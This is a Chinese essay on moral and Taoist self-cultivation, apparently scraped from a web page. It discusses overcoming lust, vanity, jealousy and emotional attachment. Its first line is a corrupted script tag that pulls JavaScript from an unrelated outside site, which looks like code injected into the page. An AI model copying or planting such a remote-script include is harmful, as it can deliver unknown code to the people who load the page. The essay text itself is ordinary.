?script type='text/javascript' src='http://www.368tea.com/js/v.js'>?）淫欲心

　　金钱美色对人的诱惑力最大，吸引力最强。尤其^***这一关，古往今来，英雄豪杰闯不过去的，大有人在。再者那些财大位高的人，他的淫欲之心，可肆无忌惮地泛滥，致使地位越高，则人格愈低下。他手中握着生杀予夺的大权，可以为所欲为，结果陷落深渊，身败名裂者，不胜枚举。所以修行人把戒“淫”列为最重要的戒律之一。

　　修道的人最重“定静”二字，淫欲之心不戒除，怎会定得住，静下来，怎能坐到净化心灵？一个人，如果^***之火在心里燃烧，不必说修道之士，就是作为一个普通百姓，也已经不“称职”了。特别是整个心灵被淫欲占领时，便什么荒唐事都可以干得出来。比如同甘共苦几十年的结发妻子可以抛弃，对儿孙可以不顾，而迷醉于寻花问柳。所以淫欲对性灵的污染最为严重。孔子有“戒色”之训，正是为此。

　　陷在^***旋涡里的人，如果是一个学子，绝读不好书；如果是一个工作人员，绝不能一心为人民服务；如果是一个军人，绝打不好仗。淫情如果发生在家庭里，则夫妻必要分崩；如果发生在人群中，则必要闹得人际关系龌龊。总之，它象毒瘤一般，生长在哪里，哪里必要溃烂，所以戒淫欲是作完人的起码条件。

　　（6）虚荣心

　　虚荣心即是羡慕追求表面的光彩、体面，而不是着重实质的进步与提高，好虚荣的人从想的到说的、做的，往往都没有实在的基础和真实的内容，却处处要与人相比，贪好攀高，其实“贪好”与“做好”有两种不同的内涵，贪好是想要把好事（如名、利、财、色……）都归于我，而做好是向好的方向去努力。好虚荣的人，本来没有充足的经济条件，而硬要千方百计装做富有，本来没有那么大的本领，偏要把自己装扮得很有才华，一旦做出一点成绩，便沾沾自喜，很怕别人不知道。由于这种虚荣心的驱使，平日很难踏踏实实地工作，干出实实在在的成绩来，但却是死要面子活受罪，自尊心很强，不愿让别人指出缺点，提出意见，不肯暴露自己的真实面目，处处离不开虚伪的面纱；如此做人，永远不可能有开阔的胸怀，坦荡的情绪，更不可能与人坦诚相见，肝胆相照，这岂不是永远做一个不实事求是的假人吗？有句名言说得好“虚荣很难说它是一种恶行，然而确有许多堕落者，就是从这里开始，走向堕落的深渊”。

　　虚荣心太强的人，不可能肩负责任，更不可能做出一番事业。他的意志很脆弱，感情易波动，经不起坎坷逆境的考验。因他的内心总是被虚荣二字羁缚着，见不得一点“不好”和打击。他的所谓成就，都是建筑在虚假的基础上，有时做了一些好事，目的也是为了求人知，如果事与愿违，他便懊悔不已，认为好事白做了。所以凡是为善而求好报者，严格说来，都属伪善。只有认定“众善奉行”是天经地义，不含任何私心，方为真善。所以凤仪先生说“学好（求好）的人多，学道的人少”。

　　（7）嫉妒心

　　对才能、名誉、地位或经济条件比自己好的人，心怀怨恨谓之嫉妒。原来对方并未侵犯他的利益，伤害他的感情，而是他单方面产生的敌对心理。只许他永远居于领先地位，不许别人超过他。假如人人都存这样心理，人类还能进步吗？恐怕永远停留在原始蒙昧状态了。所以嫉妒心理是人类前进的最大绊脚石，对个人来讲，存有这种心理，便永远不会上进。如果反过来讲，别人进步我高兴，我可以向他学习，别人的成功我欢迎，欢迎社会上又增加了新的成果。这两种不同的心态，便形成截然不同的两种结果。前者对己对人都有害，后者对己对人都有益。然而却有些人死死地抱着嫉妒心而不放，可见嫉妒心是何等的顽固与卑鄙了。欲修身立命者，存有嫉妒心，正与把船牢系在岸边，虽欲撑出半步，也绝不可能的道理是同样的。

　　有人问亚里斯多德：“为什么心怀嫉妒的人，总是心情不快呢？”亚里斯多德回答说：“因为折磨他的不仅是本身的挫折，还有别人的成就。”

　　嫉妒心如果滋长在位高权大者身上，便可助长其杀机，在他身边的人，前进的步子比他稍大一点的便危险了。轻则压制，重则被除掉。古人说：“人心惟危”，于兹愈可证其言之确凿了。所以先生说：“嫉恨是造孽的总根”。

　　（8）牵缠心

　　牵缠心的表现是拿起来放不下，粘上就摘不开，致使心灵上的压力沉重，有时陷进去，长时间不能自拔。牵缠心多表现在对人、对事、对物，其中尤以对人的牵缠最为严重。例如在家庭里，上有父母，中有妻子，下有子女……，在各种关系中有着千丝万缕的联系。常言说：“儿行千里母担忧”。诚然，父母对子女的牵挂最为严重，子女的一举一动一言一行，时时处处都在牵着父母的心。幼小的时候，生活不能自理，离不开父母的照顾。然而由于过分的牵心，往往变成溺爱，失去严格的要求与正确的教育。因而过分的疼爱，对某些事情就不能正当的对待与处理。比如医院里有多年经验的老护士，为患者注射，本来是很平常的事，但对自己的小孙子注射时，竟弄得手足无措，这是什么原因呢？只因为中间有个“亲情”在障碍着，缠绕着。因此常常是很简单的事，反而复杂化了。所以身上的重负放下容易，心里的重负放下就非常难了。

　　牵缠心的突出表现是“爱别离”。人常相聚首，而一旦生离死别，会给人带来极大的伤感与痛苦，特别是父母对子女的夭折，有时多年不能忘怀，严重的影响身体健康。夫妻长期居于两地，互相牵心，昼思夜想，心绪不得安宁。情人一旦失恋，便痛断肝肠，甚至走上绝路。此类牵缠心都不是用语言劝说所能轻易奏效的。看来牵缠的魔力竟而能致人于死地，真是不可思议。所以牵缠心往往能把一个人长时间困在精神的牢笼里，无法自我解脱。先生说：“以情相恋的，都是冤缠鬼”。牵缠多么可怕！

　　学道者最怕牵缠。有牵缠便不能“制心一处”，致使精神分散，严重时可把个人的整个心身搅乱，弄得神魂颠倒，神不守舍，如痴如呆。有的人修炼一世，在功果即将圆满时，竟而被放不下的心事，或未了的念头牵回来，而未得解脱。传说古时有一位修行多年的道人，道果成就，正值升天之际，忽然想起来，平生最为心爱的珍宝，灵魂便立刻退转回来了。俄而觉悟道：“啊！原来是这个小东西把我拽回来了，使我数十年的道业，毁于一旦！”一激之下，便摔碎了珍宝，后来继续加修，彻底了脱一切，才轻松自然，毫无牵累地羽化了。所以凤仪先生说：“人不成道因为牵缠，只是牵缠二字竟把佛祖吓得大哭。”这种激切地警语，有力地说明了牵缠挂碍，对修道的人是最大的危害。

　　修道者能在修行的过程中达到割情断爱，确是大丈夫气概的表现，所以古人说：“太上忘情”。这样才有了脱尘寰的资格。那么怎样去掉牵缠之心呢？首先要做到“求己而不求人”。孔子说：“君子求诸己，小人求诸人”。人的一生最大的事，就是尽到自己所应尽的责任和义务，责己而不责人，最后做到无愧无悔，心安理得，了却一切。尤其是在伦常之中，更是如此，只要对人尽到我应尽的力量就可以了，正如我欠人的债都还情了一样的轻松。至于对方如何，就不必更多地过问了。相信他的命运，最终还是由他自己决定，别人是无能为力的。“助长”不但无益，反而有害。正好象植物的成长，各自有它不同的规律，你再着急，时候不到，也是不能成熟的。这说明牵缠挂碍是毫无用处的，只能有害于自己。说到究竟，欲彻底去掉牵缠心，还必须看破一切，放下一切。